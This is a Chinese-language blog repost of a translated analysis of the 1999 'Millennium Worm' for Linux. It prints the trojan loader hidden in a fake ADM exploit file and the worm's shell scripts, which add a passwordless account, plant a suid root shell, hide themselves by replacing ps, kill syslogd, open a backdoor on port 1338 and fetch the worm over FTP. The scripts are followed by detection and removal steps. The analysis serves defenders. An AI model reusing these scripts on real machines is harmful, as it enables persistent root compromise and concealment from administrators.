分析一個linux下的蠕蟲 (轉)

worldblog發表於2007-12-11
分析一個linux下的蠕蟲 (轉)[@more@]

分析一個下的

出自:Max Vision
分析一個linux下的蠕蟲
Max Vision 譯:quack 摘焦點

一、簡介

千年蠕蟲(The Millennium Inte Worm)——後面簡稱worm,是一段script及組成的,它的功能是利用linux的某些,獲取該系統的進入,並且將自身複製到其上並繼續繁殖。現在發現的worm是針對x86的linux中imap4v10.X,Qualcomm popper, bind , rpc.mountd 這些存在明顯漏洞的服務進攻的。但它也做了一件好事——修補了安全漏洞……

二、技術分析

我們最早發現的蠕蟲據稱是在ADMmountd2的遠端漏洞利用程式中的(這個程式是對linux的rpc.mountd服務進行並可獲取最高許可權——這裡不詳述),但ADM組織否認曾經發布過帶有該特洛伊程式的程式碼,並將其歸類於假冒ADM作品,可以參見://adm.freelsd.net/ADM/FAKES/ maintained by ndubee@df.ru].

這個是放在ADMmountd的所謂版本中,並在措詞中表明這一版本的利用程式更為實用,但其實隱蔽的程式碼就躲在ADMgetip.c中,ADM在其站點限制了對這一工具的,所以這裡我把它提供給大家,僅僅是用於教育目的——這一木馬於1999-8-15被發現。

你可以在http://focus.silversand.net/newsite/tool/adm_fake.c下載ADMgetip-TROJAN-VERSION.c。

1、原型

該程式碼段中有一段mworm.tgz的uuencode程式碼,當執行該程式時,它會被展開於目錄/var/tmp/tmp,並且執行一個名為wormup的程式,程式碼段如下:

//Trojan Code from ADMgetip.c

FILE *fp=fopen("/var/tmp/tmp","w"); //開啟
if(getuid()!=0) { fprintf(stderr,"operation not pettedn"); exit(0); }
//檢查uid是否為
fprintf(fp,"begin-base64 644 mworm.tgz
H4sIANpU/TYAA+xaD3CUx3XfOx1wHALEHxts4/hDRrYE0vHdSQJkgQsIYWhk
UCSQHSM4n+6+4ztxujvfHypiuwEr1DqEYsWeTp1MUhOctEnr6biMnSbFY8vA
YNyBlGB3ShonZVy3ORmSIZgabMtcf293v7vvOwk7k4k7k5l8o3f7vd23b9++
... [ large uuencoded mworm.tgz here ]
emgL0uE1iuMHR6u1MaA8jUhjOHm2+OzzGLqoNLv0SRpBuNS6XmDYdwe6Z55f
bYCEt3q80+XpdMU1NM8J2FDCra2crXTRdu0Johcwe8ODFVzDnnwNKJcF8
ivJ+7s3IgAEgwYMGDAgAEDBgwYMGDAgAEDPxS+AlHjZQIA+AIA
====n"); //這是一段很長的uuecoded過的程式碼
system("( cd /var/tmp;uudecode < tmp ; sleep 1; xzvf mworm.tgz;
./wormup ) >/dev/null 2>/dev/null &"); //解碼並執行wormup程式

注意如果許可權並非root的話,是無法繼續的,該mworm.tgz展開後有如下檔案:

Directory of /var/tmp

-rw-r--r-- 1 root root 51564 Aug 17 22:21 mworm.tgz
-rwxr-xr-x 1 root root 8647 Dec 31 1999 Hnamed*
-rwxr-xr-x 1 root root 5173 Dec 31 1999 Hnamed.c*
-rwxr-xr-x 1 root root 477 Dec 31 1999 IP*
-rwxr-xr-x 1 root root 1728 Dec 31 1999 README-ADMINS*
-rwxr-xr-x 1 root root 5749 Dec 31 1999 bd*
-rwxr-xr-x 1 root root 1340 Dec 31 1999 bd.c*
-rwxr-xr-x 1 root root 0 Dec 31 1999 cmd*
-rwxr-xr-x 1 root root 5292 Dec 31 1999 ftpscan*
-rwxr-xr-x 1 root root 911 Dec 31 1999 ftpscan.c*
-rwxr-xr-x 1 root root 8750 Dec 31 1999 ftpx*
-rwxr-xr-x 1 root root 5108 Dec 31 1999 ftpx.c*
-rwxr-xr-x 1 root root 2398 Dec 31 1999 getip.c*
-rwxr-xr-x 1 root root 6436 Dec 31 1999 im*
-rwxr-xr-x 1 root root 2634 Dec 31 1999 im.c*
-rwxr-xr-x 1 root root 151 Dec 31 1999 infect*
-rwxr-xr-x 1 root root 1 Dec 31 1999 infected*
-rwxr-xr-x 1 root root 2755 Dec 31 1999 ip_icmp.h*
-rwxr-xr-x 1 root root 6175 Dec 31 1999 mount.h*
-rwxr-xr-x 1 root root 5152 Dec 31 1999 mount.x*
-rwxr-xr-x 1 root root 2222 Dec 31 1999 mount_clnt.c*
-rwxr-xr-x 1 root root 3178 Dec 31 1999 mount_svc.c*
-rwxr-xr-x 1 root root 2366 Dec 31 1999 mount_xdr.c*
-rwxr-xr-x 1 root root 13048 Dec 31 1999 mountd*
-rwxr-xr-x 1 root root 7723 Dec 31 1999 mountd.c*
-rwxr-xr-x 1 root root 668 Dec 31 1999 mwd*
-rwxr-xr-x 1 root root 561 Dec 31 1999 mwd-ftp*
-rwxr-xr-x 1 root root 448 Dec 31 1999 mwd-imap*
-rwxr-xr-x 1 root root 355 Dec 31 1999 mwd-mountd*
-rwxr-xr-x 1 root root 529 Dec 31 1999 mwd-pop*
-rwxr-xr-x 1 root root 755 Dec 31 1999 mwi*
-rwxr-xr-x 1 root root 844 Dec 31 1999 mworm*
-rwxr-xr-x 1 root root 4617 Dec 31 1999 mwr*
-rwxr-xr-x 1 root root 407 Dec 31 1999 mwr.c*
-rwxr-xr-x 1 root root 5849 Dec 31 1999 mws*
-rwxr-xr-x 1 root root 1522 Dec 31 1999 mws.c*
-rwxr-xr-x 1 root root 1439 Dec 31 1999 pgp*
-rwxr-xr-x 1 root root 1226 Dec 31 1999 prepare*
-rwxr-xr-x 1 root root 5430 Dec 31 1999 q*
-rwxr-xr-x 1 root root 1350 Dec 31 1999 q.c*
-rwxr-xr-x 1 root root 6785 Dec 31 1999 qp*
-rwxr-xr-x 1 root root 2886 Dec 31 1999 qp.c*
-rwxr-xr-x 1 root root 5680 Dec 31 1999 remotecmd*
-rwxr-xr-x 1 root root 1834 Dec 31 1999 remotecmd.c*
-rwxr-xr-x 1 root root 7286 Dec 31 1999 test*
-rwxr-xr-x 1 root root 4355 Dec 31 1999 test.c*
-rwxr-xr-x 1 root root 1037 Dec 31 1999 wormup*


在該檔案展開後,第一件事就是執行wormup程式碼,內容如下:

# cat wormup

#!/bin/sh
# MILLENNIUM WOSETUP SCRIPT
# ./wormup -dist = create a new build
# ./wormup & = install the worm (root)
if [ x$1 = "x-dist" ]
then
echo "Creating Millennium Worm distribution."
indent *.c
rm -f *~
echo -n "Compiling: "
for C in Hnamed q bd im qp ftpscan mwr remotecmd ftpx mws test
do
rm -f $C
gcc -Wall -O2 ${C}.c -o $C
echo -n $C" "
done
rm -f mountd
rpcgen -C mount.x && gcc -Wall -O2 mountd.c -o mountd
>/dev/null 2>/dev/null
echo "mountd ..done"
echo -n "Fixing misc. file stuff... "
printf "" > cmd
printf "0" > infected
chmod 755 *
touch -t 010100002000.00 *
echo "done."
rm -f mworm.tgz
tar czf mworm.tgz *
echo "Finished. mworm.tgz recreated."
exit 0
fi
if [ $UID != 0 ] ; then
echo You need root to screw up this machine, sorry.
exit 0
fi
cp /bin/sh /bin/.mwsh && chmod 4755 /bin/.mwsh
mkdir /tmp/.... && cp mworm.tgz /tmp/....
echo mw::2222:555:millennium worm:/:/bin/sh >>/etc/passwd
cd /tmp/.... && tar xzvf mworm.tgz
./mworm >/dev/null 2>/dev/null &
echo "Millennium Worm(tm). Phear thy like thyself."

這段程式碼做了以下幾件事情

刪除並且重新編譯worm.tgz裡的二進位制檔案。
準備透過感染的程式
給cmd檔案清零,以便稍候使用
給infected檔案清零,用來充當counter
將所有檔案的許可許可權設為755
將所有檔案的時間戳設為2000-1-1, 00:00:00
重新將mworm.tgz這傢伙打好包放在/var/tmp中

2、在本地機器上的行為

當它被於機器中時,該蠕蟲會執行wormup指令碼執行下面的工作:

建立一個沒有密碼的帳號mw
複製一個suid的root 到/tmp/.mwsh
發動蠕蟲

在蠕蟲發動後,會有下列情況發生:

蠕蟲會把自己加在/etc/rc.d/rc.local以及/etc/profile中將系統的傳送到trax31337@hot.com這個地址,透過隨意地掃描並攻擊網路其它主機,將自身複製到上面

3、在網路中的行為

任何被獲得了root許可權並安裝了蠕蟲的機器都會被啟用並參與展開進攻感染行為,需要記住,該指令碼有一
個-dist的選項並沒有被馬上使用到,首先我們先看它做什麼:

建立一個suid的root shell/tmp/.mwsh
在/etc/passwd中加入一個名為mw,uid為2222,密碼為空的帳號
將mworm.tgz展開到/tmp/...
執行mworm

#cat .mworm

#!/bin/.mwsh
# Millennium Worm by Anonymous
# If you found this on your machine, but didn't it
# well.. you have a problem :)
export PATH="/bin/:/usr/sbin/:/usr/bin:/sbin:/usr/local/bin:."
export IP_A=`./IP`

./prepare for your d00m mortalz

cat << _EOF_ > cmd
mw
mw
mw
mw
mw
/bin/.mwsh -c "/usr/sbin/named" &
export PATH="/bin/:/usr/sbin/:/usr/bin:/sbin:/usr/local/bin:."
mkdir /tmp/....
cd /tmp/....
if [ -f /tmp/.X12 ]
then
logout
fi
ftp $IP_A
mw


cd /tmp/....
get mworm.tgz
bye
tar xvzf mworm.tgz
touch /tmp/.X12
nohup ./mworm &
./mail `printf "x74x72x61x78x33x31x33x33x37x40
x68x6fx74x6dx61x69x6cx2ex63x6fx6d"`
logout
_EOF_

./mwd &
./mwd-pop &
./mwd-imap &
./mwd-mountd &
./mwd-ftp &
sleep 60
nohup ./mwd &
nohup ./mwd-pop &
nohup ./mwd-imap &
nohup ./mwd-mountd &
nohup ./mwd-ftp &

/bin/.mwsh -c ./bd


這段指令碼看來是這個worm的核心所在了,它執行下面功能:

執行準備好的指令碼——附於下面
建立一個cmd指令碼——是將對目標機器執行的命令
傳送email——包含該主機的IP地址——到trax31337@.
發動守護程式mwd, mwd-pop, mwd-imap, mwd-mountd, and mwd-ftp
執行bd,這是一個,繫結埠1338並允許在收到驗證密碼為millennium後以root身份進入。

#cat prepare

#!/bin/.mwsh
# Millennium Worm Preparation File
# This sets up the stuff to make sure your
# machine will be owned in a neat and proper way ;D

export PATH="/bin/:/usr/sbin/:/usr/bin:/sbin:/usr/local/bin:."

if [ -f /bin/.ps ]
then
printf ""
else
./README-ADMINS >/dev/null 2>/dev/null &
mv /bin/ps /bin/.ps;echo "/bin/.ps $* grep -v ps grep -v mw
grep -v grep" >> /bin/ps ; chmod 755 /bin/ps
if [ -f /etc/rc.d/rc.local ]
then
echo "( sleep 10 ; cd /tmp/..../ ; ./mworm ) >>/dev/null & "
>> /etc/rc.d/rc.local
else
echo "( sleep 10 ; cd /tmp/..../ ; ./mworm ) >>/dev/null & "
>> /etc/profile
fi
chattr +ia /tmp/..../*.c /tmp/..../mwd* /tmp/..../prepare /bin/.mwsh
chattr +ia /etc/rc.d/rc.local /etc/profile /tmp/..../mwo* /tmp/..../IP
chattr -ia /tmp/..../mount_*.c
fi

killall -q -9 syslogd

gcc -Wall -O2 Hnamed.c -o Hnamed
gcc -Wall -O2 mwr.c -o mwr
gcc -Wall -O2 q.c -o q
gcc -Wall -O2 remotecmd.c -o remotecmd
gcc -Wall -O2 test.c -o test
gcc -Wall -O2 bd.c -o bd
gcc -Wall -O2 im.c -o im
gcc -Wall -O2 qp.c -o qp
gcc -Wall -O2 mws.c -o mws
gcc -Wall -O2 ftpscan.c -o ftpscan
gcc -Wall -O2 ftpx.c -o ftpx
rpc=`which rpcgen`
which rpcgen && $rpc -C mount.x && gcc -Wall -O2 mountd.c -o mountd

/bin/.mwsh -c ./bd &


不用多說了,這段指令碼執行了下面的工作:

執行了"README-ADMINS",將主機弄安全些。
將ps用假的替換掉,以便隱藏該worm
將自己加到系統開始時的rc檔案中
將worm的檔案變為不可更改,不可刪除——但root可以用chattr來改變
殺掉syslogd
執行bd,開啟1338的root shell允許遠端root以millennium密碼登入

三、刪除蠕蟲

1、檢測主機:

/etc/passwd中有一個密碼為空的mw帳號
/tmp/.mwsh存在並且是一個suid的root shell
/tmp/....夾存在並且裡面有worm的一些檔案
/etc/rc.d/rc.local的檔案被更改並且放入了mworm,以便自啟動
/etc/profile檔案被更改
syslogd程式莫名其妙地終止了
mountd被停掉了
服務被過濾掉
qpop和imap被升級了;)
/etc/hosts.deny和/etc/hosts.allow被清空
下面的程式在跑.mwsh, mworm, Hnamed, remotecmd, mwd, mwd-ftp,
mwd-imap, mwd-pop, mwd-mountd, ps ("bd" 的後門偽裝成的ps)


2、檢查網路:

有email外發至trax31337@hotmail.com
有名為mw的從ftpd服務登入或者收到mworm.tgz檔案
(這兩個檢測並不一定準確,因為syslogd被停了,如果有設的話則可能在代理的記錄裡可能找到)
tcp連線到埠1338——繫結的後門
從53埠的外發資訊——可能是bind漏洞攻擊
從110埠的外發資訊——可能是qpopper漏洞攻擊
從143埠的外發資訊——可能是imapd漏洞攻擊
從635埠的外發資訊——可能是rpc.mountd漏洞的攻擊
從23埠的外發資訊——可能是worm在透過remotecmd散佈


3、預防

升級——worm是利用系統的遠端漏洞獲得roo許可權才能攻擊的,如果升級到最新的版本,就不會存在這些特殊而且明顯的漏洞了,那麼也就有效地將worm阻於門外,不過要記住,任何一個攻擊者都可以輕易地將這個worm稍加更改用於現在的系統,現在的漏洞,來攻擊你現在的機器;),所以最的的辦法只能是關注網路安全;)

紅帽子的使用者可以到獲取相關資訊

4、修復

如果已經被worm感染的話,要修復它是很容易的,你只需要:

刪除suid的root shell[/bin/rm -rf /tmp/.mwsh]
停止執行中的worm程式[/usr/bin/killall -9 mworm]
去除在mworm檔案上的防寫標記[/usr/bin/chattr -R -ia /tmp/....]
刪除worm檔案[/bin/rm -rf /tmp/....]
將正常的ps檔案拷回去[/bin/cp /bin/.ps /bin/ps]——最好重新build一個吧;)
將mw使用者從/etc/passwd中移除[/usr/sbin/userdel -r mw]
將worm的自啟動的東西從/etc/rc.d/rc.local及/etc/profile中刪除
殺掉bd的後門的程式,如果你已經刪掉了worm的檔案,重新啟動就可以去掉它了

如果你已經被worm所感染的話,那至少表明你的系統曾經完全地被別人擁有過,他有能力對系統做任何事,所以僅僅殺掉worm的程式,刪除其檔案,刪除mw的使用者等工作僅僅是去掉了一些公式化的東西,所以不能保證你的機器裡還有些什麼新奇有趣的後門或者其它東西,最好的辦法——還是關注安全……



來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/10752043/viewspace-991283/,如需轉載,請註明出處,否則將追究法律責任。

相關文章